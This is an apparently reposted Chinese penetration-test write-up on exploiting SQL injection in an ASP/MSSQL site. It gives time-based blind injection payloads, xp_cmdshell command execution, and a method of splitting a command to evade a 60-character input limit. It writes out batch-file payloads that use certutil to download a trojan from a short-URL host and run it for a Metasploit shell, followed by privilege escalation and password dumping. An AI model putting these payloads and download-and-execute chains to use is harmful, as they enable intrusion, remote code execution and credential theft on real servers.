asp+mssql的注入和命令执行是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
前言
在hw中有遇到一个站点,存在mssql的注入和命令执行漏洞,在进行利用的时候遇到了一些阻碍。
过程
Request.Form函数
),不能通过bool盲注,但是可以通过堆叠时间盲注进行注入,payload ';if (db_name()like'A%')waitfor delay '0:0:10' --
这里可以通过burp的测试器进行测试,把a-z0-9添加到字典中,之后进行枚举,判断返回时间,下面举个例子 枚举到t时得到延时5秒,证明数据库的第一个字符为t
接下来使用burp的测试器 修改要测试的位置 添加字典 修改线程 查看结果 按时间排序 得到数据库的下一位为e
,接下来得到数据库名称。 判断用户是否为dba权限';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--
,但是执行这个代码发现没有延时,无论是<1还是>=1都没有回显,可能是因为手工的方式不太对,所以丢到sqlmap 发现可以注入,之后使用--is-dba
判断是否为dba权限 不是dba权限,继续注入出其他数据库--dbs
发现没有回显,而且sqlmap没有检测出waf,所以就要分析一下payload和后端的问题了,想到这里是搜索框,并且默认是get传参,那么是不是可能限制了字符串长度,于是修改payload为';if ('aaa'='aaa')waitfor%20delay%20'0:0:5' --
通过调整单引号长度,来测试最大为多大长度时可以延时,经过枚举,发现后端的长度限制为60,那么在注入的时候就只能通过存储过程来注入,这样是非常麻烦的,还有一种办法就是通过mssql的xp_cmdshell
函数来执行命令,当然因为前面有对字符串的长度有限制,所以每次执行的命令长度也有限制,';exec master..xp_cmdshell ''--
为执行命令的基本长度,为31,所以我们执行命令的长度最大为29,而且还要考虑杀软的问题,因为经过本地测试,如果存在杀软,那么命令是无法执行成功的 哪怕是ping命令甚至是错误的命令都不能执行,所以要对目标是否存在杀软进行测试,';exec%20master..xp_cmdshell%20'ping%20127.0.0.1'--
执行之后等待了4秒,成功得到回显,证明对面目标没有杀软或者杀软不为测试的某卫士 想到可以通过系统的下载命令进行下载,配合上短域名即可实现文件下载,但是经过测试,常规的下载命令,配合短域名之后长度会达到34位 而且还会涉及下载目录问题,还有下载的文件的执行问题。 在之前复现phpstudy命令执行漏洞写shell的时候学习到了在系统下echo 123>1.txt
和echo 123>>1.txt
两种写入方式的区别,通过第二种方式即可实现写入文件,于是进行本地复现 经过写入两次文件,但是命令根本不在一行,这样是无法执行的,这时候想起了之前在ctfhub上面做的命令执行,想到在linux下可以通过拼接来绕过过滤,实现命令执行,那么windows下是不是也可以呢,找到了度娘,可以通过以下方式来进行字符串拼接
@echo off certuti l %a%%b%
于是把下载的命令进行构造certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe
经过字符串拼接,现在本地进行测试,
@echo off certuti l %a%%b% che %q%%a% it ht %q%%a% tp://suo %q%%a% .im/5UEW %q%%a% nn %q%%a% %%temp%% %q%%a% /1.exe %q%%a% %q% pause
发现已经拼接成功,并且可以执行,所以进行构造payload';exec master..xp_cmdshell 'echo >>%temp/6.bat'--
为需要的最基本的长度。为45个字符 而且还需要保证字符串拼接可以完成,';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6.bat'--
为61个字符,这样已经不能够正常的执行命令,所以要对payload进行缩减,把写入文件的扩展名去掉,在写完文件之后使用copy命令进行重命名 所以payload为';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6'--
,经过构造得到完整的payload
@echo off>>%temp%/3 certuti>>%temp%/3 l >>%temp%/3 %a%%b%>>%temp%/3 che >>%temp%/3 %q%%a%>>%temp%/3 it ht>>%temp%/3 %q%%a%>>%temp%/3 tp://suo>>%temp%/3 %q%%a%>>%temp%/3 .im/5UEW>>%temp%/3 %q%%a%>>%temp%/3 nn >>%temp%/3 %q%%a%>>%temp%/3 %%temp%%>>%temp%/3 %q%%a%>>%temp%/3 /1.exe>>%temp%/3 %q%%a%>>%temp%/3 %q%>>%temp%/3 copy %temp%/3 %temp%/3.bat %temp%/3.bat %temp%/1.exe
思路就是通过把命令写入文件,之后通过copy命令把无后缀的文件变成bat,进行执行里面的下载命令,远程下载muma到指定目录,之后通过命令执行来运行muma,当然还要先测试目标是否出网和是否是dba,开启了xp_cmdshell
show advanced options xp_cmdshell ftp x.x.x.x
在服务器执行nc -lvvp 21
如果有回显,证明目标可以执行命令并且出网 接下来首先进行本地测试,测试命令是否执行成功,能否成功写入文件, 发现命令已经执行成功,但是没有写入文件,于是修改asp代码,显示sql语句,下面是我本地复现的代码
<% mssql_datahost mssql_username mssql_password connstr &mssql_username&&mssql_password&&mssql_dataname& Set conn Server.CreateObject() conn.Open connstr dim keyword Request.Form() left(keyword,60) StrSql & keyword & Response.Write(StrSql) Conn.Execute(StrSql) %>
发现是%
没有编码,在post传参中被url解码消失了,所以修改payload
%20@echo%20off>>%25temp%25/3 %20setcertuti>>%25temp%25/3 %20setl%20-urlca>>%25temp%25/3 %20set%25a%25%25b%25>>%25temp%25/3 %20setche%20-spl>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20setit%20-f%20ht>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20settp://suo>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20set.im/5UEW>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20setnn%20>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20set%25%25temp%25%25>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20set/1.exe>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20%25q%25>>%25temp%25/3 copy%20%25temp%25/3%20%25temp%25/3.bat %25temp%25/3.bat %25temp%25/1.exe
执行之后,msf收到shell,查看权限 通过tasklist
命令查看是否存在杀软和本地运行的进程 因为本地权限较低,所以需要提权抓取密码
use post/multi/recon/local_exploit_suggester
使用msf的local_exploit_suggester匹配出了一些可能的用于易受攻击目标提权的漏洞利用的exp模块。 之后使用ms16075进行本地提权 获得system权限,抓取密码
总结
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。
原创文章,作者:254126420,如若转载,请注明出处:https://blog.ytso.com/227564.html